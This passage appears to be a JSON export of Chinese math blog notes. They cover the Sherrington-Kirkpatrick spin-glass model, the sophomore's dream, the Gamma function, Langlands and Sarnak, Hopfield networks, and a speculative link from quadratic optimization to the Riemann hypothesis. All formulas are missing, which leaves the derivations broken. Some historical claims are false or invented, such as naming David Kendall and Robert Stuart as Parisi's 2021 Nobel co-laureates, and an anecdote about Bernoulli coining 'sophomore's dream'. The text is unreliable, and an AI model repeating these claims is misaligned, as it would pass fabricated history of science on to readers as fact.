数，代表 个独立但具有相同无序构型的系统副本。 步骤 1：计算 个复本的配分函数乘积考虑 个复本系统，其总配分函数为： 其中 表示第 个复本中第 个自旋的取值。对 进行高斯积分（利用 ），得到： 由于 ，上式简化为： 其中 为复本 与 间的重叠函数（overlap）。 步骤 2：鞍点近似与复本对称假设在热力学极限 下，可采用鞍点近似，将配分函数的对数转化为对 的变分问题。谢林顿和柯克帕特里克最初假设复本对称性（replica symmetry, RS），即所有对角元 ，非对角元 （ ）。此时自由能密度为： 对 求导并取 极限后，得到平均场方程： 其中 为标准高斯测度。 步骤 3：复本对称性破缺的发现上述 RS 解在低温下存在物理矛盾：计算得到的熵可能为负，且无法解释自旋玻璃的非 ergodicity。1979 年，帕里西（Giorgio Parisi）指出问题源于 RS 假设的过度简化，提出复本对称性破缺（RSB）方案，将重叠矩阵 推广为具有层级结构的形式。这一突破最终导致了自由能的正确表达式，即帕里西公式，其核心是将序参量从单一数值 扩展为一个描述重叠分布的函数 。帕里西的工作不仅解决了 SK 模型的数学自洽性问题，更揭示了无序系统中普遍存在的复杂组织形式，为此他与肯德尔（David Kendall）、斯图尔特（Robert Stuart）共同获得 2021 年诺贝尔物理学奖。 物理性质与应用SK 模型的解揭示了自旋玻璃的丰富物理内涵： 相变行为：系统在临界温度 处发生自旋玻璃相变，低温下 Edwards-Anderson 序参量 ，表明自旋取向被冻结。 能量景观与弛豫：高温时系统处于顺磁相，自旋快速涨落；低温时陷入亚稳态，表现出缓慢的非指数弛豫，这与实验中观察到的 “老化”（aging）现象一致。 跨学科影响：SK 模型的数学框架被广泛应用于神经网络（如 Hopfield 网络的记忆容量问题）、组合优化（如旅行商问题）、量子引力（SYK 模型的经典对应）等领域。例如，Gardner 利用自旋玻璃理论计算了 Hopfield 网络的记忆容量，发现其可存储约 个随机模式，这一结果直接推动了联结主义的复兴。 结论与展望谢林顿 - 柯克帕特里克模型作为自旋玻璃理论的里程碑，其意义远超具体物理系统的描述。它首次证明了无序系统可通过平均场理论和复本方法精确求解，揭示了随机性如何诱导出全新的物质状态和数学结构。帕里西的复本对称性破缺理论不仅解决了 SK 模型的数学难题，更开创了处理复杂系统的新范式，从层级结构的视角理解无序带来的涌现行为。 当前，SK 模型的思想仍在不断拓展：在量子领域，其推广形式（如 SYK 模型）为量子混沌和全息对偶提供了简单可解的平台；在人工智能领域，自旋玻璃理论启发了对神经网络能量景观和优化算法的深入理解。这些跨学科的连接提醒我们，对无序与复杂性的探索，或许正是连接微观物理与宏观现象的关键桥梁。未来，随着量子计算和机器学习的发展，SK 模型所蕴含的统计物理智慧，或将在更广阔的科学前沿绽放新的光芒。"},{"title":"","date":"2025-09-15T12:17:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/14.html","permalink":"https://blog.mhuig.top/notes/Zeta/14","excerpt":"","text":"二年级之梦 二年级之梦 二年级之梦二年级之梦 (sophomore's dream) 是指微积分中的一个看似不正确, 但实际上正确的等式，由约翰・伯努利于 1697 年发现的有趣的数学恒等式。 它的近似值是 1697 年欧拉的老师约翰・伯努利思考这个问题，那时候他的大儿子刚出生没多久，他请了假在家中带娃。所以，就在一个闲极无聊的夏日，他在清凉的树荫之下，一边带娃，一边在纸上写写画画，最终他写下了这么一个等式。在有了左边的级数之后，我们就能无限逼近右边的积分的精确值。约翰・伯努利很是开心，于是对着他两岁的儿子说：小伙子啊，我们就把这个积分叫做二年级之梦吧。 这个公式的命名与一年级之梦相对应,一年级之梦是指不正确的等式 . 证明注意到 并且这个幂级数关于 一致收敛, 从而 左边右边 其中倒数第二行利用了 Gamma 函数的定义. 伽马函数发展史伽马函数（Gamma function）的发现可追溯至 1729 年，由瑞士数学家 莱昂哈德・欧拉（Leonhard Euler） 首次提出并解决。 关键时间节点 1728 年： 数学家 哥德巴赫（Christian Goldbach） 提出阶乘的插值问题（即如何将阶乘推广到非整数域），并向尼古拉斯・伯努利（Nicolaus Bernoulli）及其弟丹尼尔・伯努利（Daniel Bernoulli）寻求解答，但未获解决。 1729 年： 时年 22 岁的欧拉在丹尼尔・伯努利的启发下，成功解决了阶乘插值问题，首次推导出伽马函数的雏形。 他通过积分形式给出了阶乘在实数域的推广表达式，即伽马函数的核心定义： 这一成果标志着伽马函数的诞生。 1730 年： 欧拉在致哥德巴赫的信件中进一步完善了伽马函数的积分形式，并明确了其与阶乘的关系 。 补充说明名称的由来： “伽马函数” 这一名称并非欧拉原创，而是由法国数学家阿德里安 - 马里・勒让德（Adrien-Marie Legendre） 在 19 世纪命名。 历史意义： 欧拉的发现不仅解决了阶乘的解析延拓问题，还为后续复分析、概率论（如伽马分布）及数论的发展奠定了基础。 函数定义的演变： 欧拉最初使用的是极限形式的定义（ ），现代常用的积分形式是其后期推广的结果。 结论伽马函数的核心发现年份为 1729 年，由欧拉完成。这一成果是 18 世纪分析学的里程碑之一，开启了特殊函数理论的研究浪潮。 1697 年伯努利凭借自己强大的注意力和想象力，直接写下了这个式子，后来被证明是正确的。伯努利确实是一个天才。"},{"title":"","date":"2026-03-16T09:07:00.000Z","updated":"2026-03-16T09:10:00.000Z","comments":true,"path":"notes/Zeta/136.html","permalink":"https://blog.mhuig.top/notes/Zeta/136","excerpt":"","text":"从 L 函数到动力系统的深层联系 Langlands 纲领与 Sarnak 猜想的数学交集：从 L- 函数到动力系统的深层联系 Langlands 纲领与 Sarnak 猜想的交集体现了现代数学中数论、表示论与动力系统的深刻融合。Langlands 纲领通过建立伽罗瓦表示与自守表示的对应，将算术对象与分析对象通过 L- 函数统一；而 Sarnak 的工作则通过动力系统视角揭示了 L- 函数零点分布和数论函数的随机性，两者共同构成了当代数学最活跃的交叉领域之一。这种交集的核心在于 L- 函数理论：它既是 Langlands 纲领的灵魂，也是 Sarnak 猜想的关键工具。 历史背景与思想渊源Langlands 纲领的诞生与发展1967 年，Robert Langlands 在给 André Weil 的信中首次提出了将数论、调和分析与表示论统一的宏大构想，即后来的 Langlands 纲领。这一纲领的核心思想是函子性原理：对于任意约化群 ，其 Langlands 对偶群 的表示与 的自守表示之间存在一一对应，这种对应通过 L- 函数实现。Langlands 最初的突破源于对 Eisenstein 级数的研究，他发现 Eisenstein 级数的常数项中蕴含的 Intertwiner 算子可表示为局部因子的乘积，从而得到 L- 函数的 Euler 乘积表达式。这一发现为后续的自守 L- 函数理论奠定了基础。 Langlands 纲领的发展离不开 Satake 的 p-adic 球面理论和 Harish-Chandra 的表示论工作。1970 年，Langlands 与 Jacquet 合作证明了 GL (2) 上的自守表示对应，即 Jacquet-Langlands 对应，首次验证了纲领的局部 - 整体相容性。到 1980 年代，Shahidi 发展了 Langlands-Shahidi 方法，通过诱导表示的 - 因子计算，将 L- 函数的解析性质与群表示的结构紧密联系起来，这一方法在 GSpin 群等例外群上的应用，进一步拓展了纲领的适用范围。 Sarnak 的动力系统视角Peter Sarnak 继承了 Langlands 纲领的分析传统，同时将动力系统方法引入数论。2010 年左右，Sarnak 提出 Möbius 不相交性猜想，断言 Möbius 函数 与零熵流 “线性不相交”，即对任意零熵拓扑动力系统 和连续函数 ，有 这一猜想的本质是通过动力系统的熵理论刻画数论函数的随机性。Sarnak 发现，Chowla 猜想（关于 的高阶相关性）可推出 Möbius 不相交性猜想，而 Chowla 猜想的证明又依赖于 L- 函数的非零区域估计，这正是 Langlands 纲领中 L- 函数解析性质研究的延伸。此外，Sarnak 与 Iwaniec 合作的《Perspectives on the Analytic Theory of L-functions》系统总结了 L- 函数的解析延拓、零点分布及特殊点值问题，成为连接 Langlands 纲领与动力系统的桥梁。 L- 函数：连接纲领与猜想的核心纽带L- 函数的定义与分类L- 函数是 Langlands 纲领与 Sarnak 猜想的共同语言。一般地，对于数学对象 ，其 L- 函数定义为具有 Euler 乘积的 Dirichlet 级数： 其中 称为 Dirichlet 系数。根据 Langlands 的猜想，所有 “有意义的 L- 函数” 均可表示为自守 L- 函数，即由自守表示生成的 L- 函数。算术 L- 函数（如黎曼 函数、椭圆曲线的 Hasse-Weil L- 函数）与自守 L- 函数（如全纯模形式的 L- 函数、Maass L- 函数）的对应，构成了纲领的核心猜想：朗兰兹互反律。 以黎曼 函数为例，其 Dirichlet 系数 ，对应的自守表示为 GL (1) 的平凡表示。而椭圆曲线 的 Hasse-Weil L- 函数，其 Dirichlet 系数由模 解的个数决定： ，其中 是 在有限域 上的解数。根据谷山 - 志村猜想（已被 Wiles 证明），这类 L- 函数对应于权为 2 的全纯模形式的 L- 函数，这是二维朗兰兹互反律的重要例证。 L- 函数的解析性质与 Langlands-Shahidi 方法Langlands 纲领的一个核心目标是证明算术 L- 函数的解析延拓与函数方程。对于自守 L- 函数，这一目标通过 Langlands-Shahidi 方法实现。该方法利用诱导表示的 - 因子理论，将 L- 函数的局部因子与群表示的结构联系起来。以 GSpin 群的超尖点表示为例，设 是 的不可约超尖点 generic 表示，则存在唯一的 GL (N) 表示 ，使得对 GL (m) 的任意超尖点表示 ，有 且 其中 为局部 - 因子， 为加法特征。这一结果通过全局函数方程和 Langlands-Shahidi 方法的 - 因子乘法性证明，体现了 L- 函数的局部 - 整体相容性。 Sarnak 的工作则聚焦于 L- 函数零点分布的随机性质。例如，他与合作者证明了 Rankin-Selberg L- 函数和 Maass 尖形式的 L- 函数对应的 Möbius 函数与有界序列弱正交，这一结果为广义 Möbius 不相交性猜想提供了支持。其证明中关键的一步是利用 L- 函数的非零区域估计，即对 内 L- 函数无零点的控制，这正是 Langlands 纲领中解析方法的直接应用。 表示论与动力系统的交叉：从量子遍历性到轨道上的素数量子唯一遍历性猜想Sarnak 提出的量子唯一遍历性（QUE）猜想是表示论与动力系统融合的典范。该猜想断言：紧致负曲率流形上拉普拉斯算子的 Hecke-Maass 尖形式本征函数在极限意义下均匀分布。其数学表述为：对 generic 自守表示 ，其矩阵系数 满足 其中 为对角子群元， 为 Haar 测度。QUE 猜想的证明依赖于 Langlands 纲领中的自守表示理论，例如刘建亚等学者利用 GSpin 群的 Langlands 对应证明了二面体形式的 QUE 猜想，展示了表示论工具在动力系统问题中的关键作用。 轨道上的素数猜想Sarnak 的 “轨道上的素数” 猜想将素数分布与群作用轨道结合，被视为高维版哥德巴赫问题。该猜想断言：对李群 的离散子群 和同余类闭轨道 ，素数在轨道上的分布密度为正。其研究依赖于 Langlands 纲领提供的自守形式谱理论，例如通过 Rankin-Selberg L- 函数分析素数在轨道上的分布： 其中 为与轨道对应的自守表示。刘建亚与 Sarnak 合作证明了该猜想在三元二次型情形对殆素数成立，进一步推动了这一领域的发展。 方法论融合：从表示论到熵理论表示论工具在动力系统中的应用Langlands 纲领中的表示论方法为 Sarnak 猜想的研究提供了强大工具。例如，在证明 Möbius 不相交性猜想时，需控制如下和式： 通过将 表示为傅里叶级数，并利用自守表示的 L- 函数非零区域估计，可将问题转化为对 L- 函数在临界带边缘的估计。具体而言，若 对应零熵流，则其傅里叶系数满足特定衰减条件，结合 的 L- 函数表示 ，可证明上述和式趋于零。 熵理论对 L- 函数随机性的刻画Sarnak 引入拓扑熵的概念来衡量动力系统的 “复杂性”。零熵流的拓扑熵 ，意味着系统缺乏 “指数级别的信息产生”。Möbius 函数的随机性体现在其与零熵流的不相交性，而正熵流（如伯努利移位）则可能与 有非平凡相关性。例如，当 时， ，此时熵 ，与 Sarnak 猜想的条件矛盾。这种通过熵理论对 L- 函数系数随机性的刻画，是 Langlands 纲领分析视角的重要补充。 结语：纲领与猜想的互动演进Langlands 纲领与 Sarnak 猜想的交集展现了数学中 “宏大框架” 与 “具体问题” 的辩证关系。纲领为猜想提供了统一的 L- 函数语言和表示论工具，而猜想则通过动力系统的视角为纲领注入了新的问题和方法。从 GSpin 群的局部函子性提升到 Möbius 函数的正交性，从量子遍历性到轨道上的素数，两者的融合不断揭示数论、表示论与动力系统的深层联系。 未来的研究可能在以下方向取得突破：一是将几何 Langlands 的思想（如导出范畴等价）应用于动力系统的遍历性问题；二是通过机器学习方法探索 L- 函数零点分布与随机矩阵理论的联系，这或许能为 Sarnak 猜想提供新的计算证据。数学的统一不仅是美学上的追求，更是揭示深层结构的必然，而 Sarnak 的工作正是这一理念的生动实践。"},{"title":"","date":"2026-03-20T03:07:00.000Z","updated":"2026-03-20T03:10:00.000Z","comments":true,"path":"notes/Zeta/140.html","permalink":"https://blog.mhuig.top/notes/Zeta/140","excerpt":"","text":"神经网络 Hopfield 模型 神经网络 Hopfield 模型 在人工智能领域的发展历程中, Hopfield 模型如同一座桥梁, 连接了物理学与神经科学的研究范式. 1982 年, 物理学家 John Hopfield 在《Neural networks and physical systems with emergent collective computational abilities》一文中提出了这一开创性模型, 将统计力学中的能量概念引入神经网络研究, 为处于 “AI 冬季” 的神经网络领域注入了新的活力. 这一模型的核心贡献在于其构建了一个能够实现联想记忆的动力学系统, 通过能量函数的最小化过程, 使网络能够从噪声或残缺的输入中恢复完整的记忆模式, 其数学本质可视为对物理学中伊辛模型（Ising Model）的跨学科迁移. Hopfield 模型的出现不仅为神经网络提供了坚实的数学基础, 更启发了后续深度学习中的关键思想, 如反向传播算法中的能量景观概念, 甚至在现代 Transformer 架构中仍能看到其理论影子. 历史背景与科学思想渊源Hopfield 模型的诞生源于一次跨学科的思维碰撞. 20 世纪 70 年代末, 作为凝聚态物理学家的 John Hopfield 已在固体物理领域取得显著成就, 但他逐渐对传统还原论物理学产生厌倦, 转而探索生物学中的复杂性问题. 1977 年, 一次神经科学会议让他意识到, 当时的神经科学研究过度聚焦于单个神经元的膜电位和离子通道, 却忽视了神经元群体的集体行为. 这一观察促使他思考: 正如磁性材料中单个原子的自旋通过集体作用产生宏观磁性, 大脑的认知功能是否也源于大量神经元的协同计算? 这一核心洞察推动 Hopfield 将物理学中的自旋系统理论应用于神经网络研究. 他借鉴了元细胞自动机（Cellular Automaton）的动态收敛特性和伊辛模型中相邻粒子的相互作用机制, 将神经元状态类比为原子自旋（取值为 或 0 / 1）, 突触连接强度类比为自旋间的相互作用能量. 1982 年发表的论文中, 他首次引入了能量函数的概念, 证明了在对称权重条件下, 网络状态会单调收敛至能量极小值, 从而为神经网络的稳定性提供了严格的数学证明，这一成果被当时的连接主义研究者视为 “神谕”, 直接反驳了符号学派对神经网络缺乏理论基础的批判. Hopfield 的跨学科背景在此过程中发挥了关键作用. 他早年在贝尔实验室与诺贝尔物理学奖得主 P. W. Anderson 的合作经历, 使其深谙复杂系统的涌现性原理; 而对生物学中 DNA 复制校对机制的研究, 则让他理解了网络结构如何实现超越个体组件的功能. 这种跨界思维最终催生出一个革命性观点: 记忆可以编码为高维状态空间中的能量低谷（吸引子）, 而回忆过程则是系统从初始状态向最近吸引子的演化. 模型定义与数学基础神经元与网络结构Hopfield 网络是一种单层全连接反馈神经网络, 由 个二进制神经元组成, 每个神经元 具有离散状态 （或 ）, 表示神经元的激活（1）或抑制（-1）状态. 神经元间的连接权重 构成 实对称矩阵, 且满足 （无自连接）. 网络的动态演化由异步更新规则驱动: 在任意时刻随机选择一个神经元, 根据其输入加权和与阈值的比较更新状态. 能量函数的物理意义Hopfield 模型的核心创新在于引入了类比于物理系统的能量函数, 其一般形式为 ：能量函数（energy function） ：学习规则的权重（weights of the learning rule） ​ ：第 个神经元状态（state of neuron i） ​ ：第 个神经元激活阈值（activation threshold for i'th neuron） 或 其中第一项表示神经元间的交互能量, 第二项为单个神经元的阈值能量. 这里的负号确保系统演化过程中能量单调递减（与物理系统的能量最小化趋势一致）. 能量函数的物理类比可通过自旋玻璃模型理解: 对应自旋方向, 对应自旋间的交换相互作用, 对应外磁场. 当网络状态变化时, 能量 总是朝着降低的方向发展, 最终收敛至局部极小值，这些稳定状态对应着网络存储的记忆模式. 学习规则与记忆存储为实现联想记忆功能, Hopfield 网络需通过学习规则将目标模式编码到权重矩阵中. 最常用的学习规则为 Hebb 规则的变体, 对于 个需存储的模式 , 权重计算式为 当模式满足零均值假设 时, 简化为 这一规则体现了 Hebb 提出的 “同步放电的神经元连接增强” 原理, 即当两个神经元在同一模式中同时激活（ ）时, 连接权重 增加. 权重矩阵的对称性（ ）是能量函数单调递减的关键保证, 这一性质使 Hopfield 网络避免了极限环或混沌行为. 数学推导与动力学分析能量函数的单调性证明为证明网络演化过程中能量单调递减, 考虑单个神经元 的状态更新. 设神经元 在时刻 的状态为 , 其输入加权和为 根据更新规则, 当 时, ; 当 时, ; 当 时状态不变. 能量变化量 可表示为 由于仅神经元 状态变化, 展开后非零项仅与 相关: 利用权重对称性 , 上式简化为 当 时, , 若原状态 , 则 ; 当 时, , 若原状态 , 则 . 因此, 任何状态更新均导致能量严格降低, 直至达到局部极小值. 记忆容量的理论界限Hopfield 网络的记忆容量指其能稳定存储的最大模式数量 . 当存储 个随机独立模式时, 每个模式被正确恢复的概率随 增加而下降. 通过统计力学方法可证明, 在热力学极限 下, 临界容量为 这一结果由 Amit 等人通过自旋玻璃理论导出, 表明记忆容量与神经元数量成线性关系, 但比例系数较低. 容量限制源于模式间的交叉干扰，每个存储模式都会对其他模式产生 “噪声”, 当 超过临界值时, 吸引子结构被破坏, 网络无法区分不同记忆. 连续时间 Hopfield 网络1984 年, Hopfield 进一步扩展模型, 提出连续时间版本, 将神经元状态改为连续变量 , 并由微分方程描述动态演化: 其中 为时间常数, 为 S 型激活函数（如 , 控制增益）. 连续模型的能量函数推广为 该模型更接近生物神经元的真实动力学, 且能实现更平滑的状态过渡. 应用方法与典型案例模式恢复与联想记忆Hopfield 网络最经典的应用是联想记忆, 其工作流程分为两个阶段: 学习阶段: 使用 Hebb 规则计算权重矩阵, 将目标模式 存储为能量函数的局部极小值. 例如, 存储 3 个 5 维二进制模式 , , , 权重矩阵计算为 回忆阶段: 输入含噪声的初始模式 , 网络通过异步更新逐步演化至能量极小值. 例如, 若输入 （第三个元素被噪声翻转）, 经过 3 次更新后收敛至 , 实现错误纠正. 优化问题求解1985 年, Hopfield 与 Tank 证明该网络可用于求解组合优化问题. 以旅行商问题（TSP）为例, 将城市间距离编码为能量函数的惩罚项: 其中 表示第 个城市在路径中第 个位置. 通过调节系数 , 使能量极小值对应最优路径. 这种方法利用网络的并行计算能力, 比传统算法更快找到近似解. 现代扩展与应用尽管原始 Hopfield 网络的记忆容量有限, 但 2016 年提出的现代 Hopfield 网络（MHN）通过引入高维向量和指数能量函数突破了这一限制. MHN 的能量函数定义为 其中 为温度参数. 这一改进使记忆容量提升至 , 且与 Transformer 中的自注意力机制等价，注意力权重可表示为能量函数的梯度. 目前, MHN 已应用于图像识别、自然语言处理等领域, 成为连接经典神经网络与现代深度学习的桥梁. 理论意义与学科影响Hopfield 模型的科学价值远超其直接应用. 它首次将动力学系统理论引入神经网络研究, 证明了简单连接的神经元群体可涌现出记忆、计算等高级功能, 为 “涌现性” 这一复杂系统核心概念提供了具体实例. 模型中能量函数的思想直接启发了反向传播算法中的损失函数设计, 而吸引子动力学则为理解大脑的记忆机制提供了数学框架. 在学科交叉层面, Hopfield 的工作开创了 “计算神经科学” 这一交叉领域, 推动物理学家进入神经科学研究. “Hopfield 网络通过构造证明了计算机和大脑中的计算在性质上有多么不同”. 这种跨学科思维在当代 AI 研究中仍具启示意义，2020 年的研究发现 Transformer 本质上是 Hopfield 网络的高维扩展, 印证了基础理论的持久生命力. 从 1982 年那个只能存储几个像素模式的简单网络, 到如今支撑千亿参数大模型的理论基石, Hopfield 模型的演化轨迹折射出人工智能领域的范式转变. 它提醒我们: 真正的科学突破往往诞生于学科边界的碰撞, 而理解复杂系统的集体行为, 或许是解开智能本质的关键. 当我们在惊叹 GPT 等大模型的能力时, 不应忘记 Hopfield 当年那个将自旋玻璃与神经网络大胆类比的灵感瞬间，正是这种跨越学科藩篱的想象力, 推动着人工智能从黑暗时代走向今天的繁荣. …"},{"title":"","date":"2026-03-20T04:07:00.000Z","updated":"2026-03-20T04:10:00.000Z","comments":true,"path":"notes/Zeta/141.html","permalink":"https://blog.mhuig.top/notes/Zeta/141","excerpt":"","text":"跨学科视角下的二次优化模型 跨学科视角下的二次优化模型及其在数论中的启示 引言：三个领域的二次优化模型在金融、凝聚态物理和神经网络这三个看似独立的领域，存在着数学形式高度相似的二次优化模型。马科维茨（Markowitz）投资组合模型、谢林顿 - 柯克帕特里克（Sherrington-Kirkpatrick, SK）自旋玻璃模型和霍普菲尔德（Hopfield）神经网络模型，虽然描述的物理对象迥异，但都遵循着相同的数学框架：通过最小化一个包含二次项和线性项的能量函数（或目标函数）来描述系统的平衡状态。这种惊人的相似性不仅揭示了自然界和人类设计系统中普遍存在的优化原理，更为跨学科研究提供了丰富的灵感。本文将系统分析这三个模型的数学结构、历史背景和求解方法，并探讨其对黎曼猜想等数论问题的潜在启示。 投资组合优化：Markowitz 模型历史背景与核心思想1952 年，哈里・马科维茨（Harry Markowitz）在其开创性论文《Portfolio Selection》中提出了均值 - 方差投资组合理论，首次将数学严谨性引入资产管理领域。这一理论的核心洞见在于，投资者的目标不应是最大化预期收益，而应在收益与风险之间寻求平衡。马科维茨否定了当时盛行的 \"最大化贴现预期回报\" 准则，因为该准则无法解释分散投资的必要性，它会导致投资者将所有资金投入单一高回报资产。取而代之，他提出了 \"预期回报 - 回报方差\"（E - V）准则，将投资组合的风险定义为收益的方差，从而将投资决策转化为一个二次优化问题。 数学表述与推导Markowitz 模型的目标函数可表示为： 其中， 是资产 和 收益率之间的协方差， 是投资于资产 的权重（满足 ）， 是资产 的预期收益率， 是风险承受能力参数。这个函数的第一项衡量投资组合的总风险（方差），第二项衡量预期收益，目标是在给定风险水平下最大化收益，或在给定收益水平下最小化风险。 为了推导最优投资组合，我们将问题形式化为带约束的二次规划： 目标函数： 约束条件： （权重和为 1） 其中 是资产权重向量， 是协方差矩阵， 是预期收益向量。 引入拉格朗日乘子 处理约束条件，构造拉格朗日函数： 对 求导并令导数为零，得到一阶条件： 即： 求解此线性方程组可得最优权重向量 。对于存在无风险资产的情况，模型可以进一步扩展，但核心的二次优化结构保持不变。 有效前沿与应用Markowitz 理论的一个关键成果是 \"有效前沿\"（efficient frontier）的概念：在收益 - 风险（E - V）平面上，所有满足 \"给定风险下收益最大\" 或 \"给定收益下风险最小\" 的投资组合构成的曲线。有效前沿的形状为双曲线，其左端为最小方差组合（Minimum Variance Portfolio, MVP），对应风险最低的投资组合。 在实践中，Markowitz 模型面临的主要挑战是协方差矩阵估计的不稳定性，即所谓的 \"Markowitz 诅咒\"（Markowitz's curse）：当资产高度相关时，协方差矩阵的条件数增大，导致最优权重对输入数据的微小扰动极为敏感。为缓解这一问题，研究者提出了多种改进方法，如协方差矩阵降噪、权重约束和嵌套聚类优化（Nested Clustered Optimization, NCO）等。 凝聚态物理：谢林顿 - 柯克帕特里克模型自旋玻璃与无序系统自旋玻璃是一类具有无序磁相互作用的材料，其自旋取向呈现复杂的冻结状态，既不同于铁磁体的完全有序，也不同于顺磁体的完全无序。1975 年，谢林顿（Sherrington）和柯克帕特里克（Kirkpatrick）提出了描述自旋玻璃的平均场模型，即 SK 模型，为理解这类复杂系统提供了数学框架。SK 模型的核心是引入随机相互作用和 \"阻挫\"（frustration）概念，由于相互作用的随机性，系统无法同时满足所有自旋的能量最小化要求，从而导致大量亚稳态的存在。 数学表述与复本方法SK 模型的哈密顿量为： 其中 是格点 处的自旋变量， 是自旋 和 之间的耦合强度，通常假设为均值为 0、方差为 的高斯随机变量（ ）， 是外磁场。 求解 SK 模型的关键挑战在于处理淬火无序（即 是固定的随机变量）。物理学家引入了 \"复本技巧\"（replica trick），通过考虑 个相同系统（复本）的平均来计算自由能： 其中 是配分函数， 是逆温度， 表示对耦合 的系综平均。 复本对称破缺与 Parisi 解最初的复本对称（Replica Symmetry, RS）假设所有复本等价，得到的解在低温下出现不稳定性（Amit-Tetelman 不稳定性）。1979 年，帕里西（Parisi）提出了 \"复本对称破缺\"（Replica Symmetry Breaking, RSB）的革命性思想，假设复本可以分为不同的层次结构，每个层次对应不同的 \"重叠\"（overlap）序参量 ： 其中 是第 个复本中自旋 的状态。通过引入连续的 RSB 结构，Parisi 成功得到了 SK 模型的精确解，揭示了自旋玻璃相的非遍历性质和复杂的能量景观。这一工作不仅为自旋玻璃理论奠定了基础，也为无序系统的统计力学提供了通用框架，并因此获得 2021 年诺贝尔物理学奖。 神经网络：Hopfield 模型联想记忆与动力学系统1982 年，霍普菲尔德（Hopfield）提出了一种递归神经网络模型，能够实现联想记忆功能，即从部分或噪声输入中恢复完整的记忆模式。Hopfield 网络的灵感来源于自旋系统，每个神经元的状态类比于自旋，神经元之间的连接权重类比于自旋间的耦合。 数学表述与能量函数Hopfield 网络的能量函数定义为： 其中 是神经元 的状态， 是神经元 和 之间的连接权重， 是阈值。与 SK 模型类似，这里的负号使得系统倾向于演化到能量最低的状态。 网络的动力学规则为： 即每个神经元根据其他神经元的加权输入更新自己的状态，直到达到稳定状态（吸引子）。 Hebb 学习规则与记忆容量为了让网络记忆特定模式，Hopfield 提出了基于 Hebbian 学习的权重更新规则： 其中 是第 个记忆模式， 是记忆模式的数量， 是神经元数量。理论分析表明，Hopfield 网络的最大记忆容量约为 ，即每个神经元大约能存储 0.14 个独立模式。当存储的模式过多时，会出现 \"串扰\"（crosstalk）现象，导致记忆检索错误。 三个模型的数学统一性与差异统一的二次优化框架尽管 Markowitz 模型、SK 模型和 Hopfield 模型分别应用于金融、物理和神经网络领域，但它们共享相同的数学结构，二次能量函数的最小化： 模型 目标 / 能量函数 变量 二次项系数 线性项系数 约束条件 Markowitz 资产权重 协方差矩阵 风险调整收益 SK 模型 自旋 随机耦合 外磁场 无 Hopfield 神经元状态 连接权重 阈值 无 这种统一性源于它们都描述了由相互作用元素组成的系统，其宏观行为由元素间的 pairwise 相互作用（二次项）和外部场（线性项）共同决定。 关键差异第一，变量性质：Markowitz 模型中的 是连续的实变量（权重），而 SK 模型和 Hopfield 模型中的 , 是离散的二值变量（自旋 / 神经元状态）。 第二，相互作用的随机性：SK 模型的耦合 是随机变量，体现了物理系统的无序性；而 Markowitz 模型的协方差 和 Hopfield 模型的权重 通常是确定性的（尽管 可能从随机数据中估计）。 第三，优化目标：Markowitz 模型是显式的优化问题（最小化风险 - 收益比），而 SK 模型和 Hopfield 模型通过系统的动力学演化自发达到能量最小态。 对黎曼猜想的启示黎曼猜想（Riemann Hypothesis, RH）断言黎曼 函数的所有非平凡零点都位于临界线 上，是数论中最著名的未解问题之一。虽然上述二次优化模型与数论看似无关，但它们提供的数学工具和物理直觉为研究黎曼猜想提供了新视角。 1. 随机矩阵理论与零点分布1972 年，蒙哥马利（Montgomery）发现黎曼 函数非平凡零点的对关联函数与随机厄米矩阵（Gaussian Unitary Ensemble, GUE）特征值的对关联函数吻合，这一发现建立了数论与量子混沌之间的深刻联系。具体而言，零点间隔的分布满足： 这与 GUE 中特征值的对关联函数完全一致。Hopfield 网络和 SK 模型中也存在类似的特征值统计行为，例如 Hopfield 网络的权重矩阵特征值分布与存储模式的数量和相关性密切相关。这种类比提示我们，可以将 函数零点视为某个高维无序系统的本征值，其分布由系统的对称性和相互作用决定。 2. 复本方法与 函数的解析延拓SK 模型中复本对称破缺的思想可能为理解 函数的解析性质提供启示。黎曼 函数的定义为 （对 ），通过解析延拓可扩展到整个复平面。类似地，复本方法通过将 的极限处理淬火无序，这种解析延拓技巧可能有助于处理 函数在临界线附近的行为。 3. 能量景观与零点的稳定性Hopfield 网络和 SK 模型的能量景观（energy landscape）具有多个局部极小值，对应系统的亚稳态。类似地，黎曼 函数的零点可以视为某种能量函数的极小点。研究表明， 函数的非平凡零点是简单零点（即 ），这类似于 SK 模型和 Hopfield 网络中能量极小点的稳定性条件。通过构造合适的能量函数，可能将 RH 转化为证明该函数的所有极小点都位于临界线上。 4. 素数气体模型与统计物理类比物理学中可以构造 \"素数气体\" 模型，将素数视为独立的量子态，其配分函数恰好是黎曼 函数： 其中 遍历所有素数， 为逆温度。这一模型展现出类似哈格多恩（Hagedorn）温度的临界行为，与自旋玻璃的相变有相似之处。Markowitz 模型中风险 - 收益的权衡关系，可能对应于素数气体中能量与熵的平衡，为理解素数分布的统计规律提供了物理类比。 结论与展望Markowitz 模型、SK 模型和 Hopfield 模型虽然源自不同学科，但其共同的二次优化结构揭示了复杂系统中普遍存在的优化原理。这种跨学科的统一性不仅为解决各自领域的问题提供了借鉴（如用复本方法分析金融市场的羊群效应，或用投资组合理论优化神经网络的权重），更为数论等纯数学领域提供了新的研究思路。 对于黎曼猜想而言，随机矩阵理论、复本方法和能量景观的概念为理解 函数零点的分布提供了物理直觉。未来的研究可能沿着以下方向深入： 第一，构造与 函数对应的物理系统：通过类比 SK 模型或 Hopfield 网络，设计具有特定相互作用的自旋系统，使其本征值对应 函数的零点。 第二，应用优化算法寻找零点：借鉴 Markowitz 模型中的高效优化方法，数值搜索 函数在临界线外的零点，或证明其不存在。 第三，利用机器学习识别零点模式：训练 Hopfield-like 网络记忆 函数零点的分布特征，探索其统计规律。 正如蒙哥马利的对关联猜想架起了数论与随机矩阵理论的桥梁，这些跨学科的类比和方法可能成为攻克黎曼猜想的关键钥匙。在这个意义上，投资组合的优化、自旋玻璃的无序和神经网络的记忆，都在向我们诉说着数学宇宙中隐藏的深层和谐。"},{"title":"","date":"2026-03-25T01:07:00.000Z","updated":"2026-03-25T01:10:00.000Z","comments":true,"path":"notes/Zeta/142.html","permalink":"https://blog.mhuig.top/notes/Zeta/142","excerpt":"","text":"不知名的碎片 13 不知名的碎片 13 Question调和级数 ，求累级数 引理 证明: 分部积分 Answer 只需分析 就可以 所以 …"},{"title":"","date":"2026-05-04T23:07:00.000Z","updated":"2026-05-04T23:10:00.000Z","comments":true,"path":"notes/Zeta/143.html","permalink":"https://blog.mhuig.top/notes/Zeta/143","excerpt":"","text":"马尔可夫过程 马尔可夫过程：从历史起源到数学推导与应用 